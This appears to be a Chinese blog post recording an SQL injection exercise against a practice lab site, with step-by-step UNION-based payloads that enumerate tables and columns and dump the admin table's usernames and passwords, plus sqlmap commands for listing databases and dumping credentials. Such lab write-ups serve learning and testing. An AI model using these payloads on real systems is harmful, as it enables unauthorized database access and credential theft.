SQL注入案例

目录

一、简介

二、案例

1.发现注入点

2.寻找注入类型

3.寻找字段数

4.将传参值设为超出数据量的大值,联合查询找到回显位置

5.找到数据库

6.寻找库中的表

7.寻找表中列

8.查看表中数据

附:SQLMap注入

1.输入指令查数据库

2.输入指令查表

3.脱库查看账号密码


一、简介

记录SQL注入的案例练习

二、案例

http://pu2lh35s.ia.aqlab.cn/

1.发现注入点

2.寻找注入类型

,发现?id=1 and 1=1 符合

3.寻找字段数

发现字段数为2

4.将传参值设为超出数据量的大值,联合查询找到回显位置

5.找到数据库

6.寻找库中的表

?id=111111 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

7.寻找表中列

?id=111111 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'--+

8.查看表中数据

?id=111111 union select 1,group_concat(username,':',password) from admin--+

注:用 --+ 对结尾进行注释

附:SQLMap注入(sqlmap -u "x")

1.输入指令查数据库( --dbs)

2.输入指令查表( -D xx --tables)

3.脱库查看账号密码( -D xx -T xxx -C xxxx --dump)

相关推荐
卓怡学长8 分钟前
m280本科生导师指导平台
java·数据库·spring·tomcat·maven·intellij-idea
大尚来也9 分钟前
Serverless架构深度解析:适用场景、核心局限与破局之道
数据库
Wave84518 分钟前
非阻塞按键(单击,双击,长按)
数据库
上海云盾-小余19 分钟前
云主机安全加固:从系统、网络到应用的零信任配置
网络·安全·php
2401_8318249623 分钟前
为你的Python脚本添加图形界面(GUI)
jvm·数据库·python
久违的太阳25 分钟前
记录一次ORACLE RAC安装PSU补丁步骤
数据库·oracle
2401_8796938725 分钟前
用Pygame开发你的第一个小游戏
jvm·数据库·python
xushichao198935 分钟前
实战:用OpenCV和Python进行人脸识别
jvm·数据库·python
sthnyph1 小时前
初识MySQL · 库的操作
数据库·mysql
原来是猿1 小时前
MySQL【视图】
数据库·mysql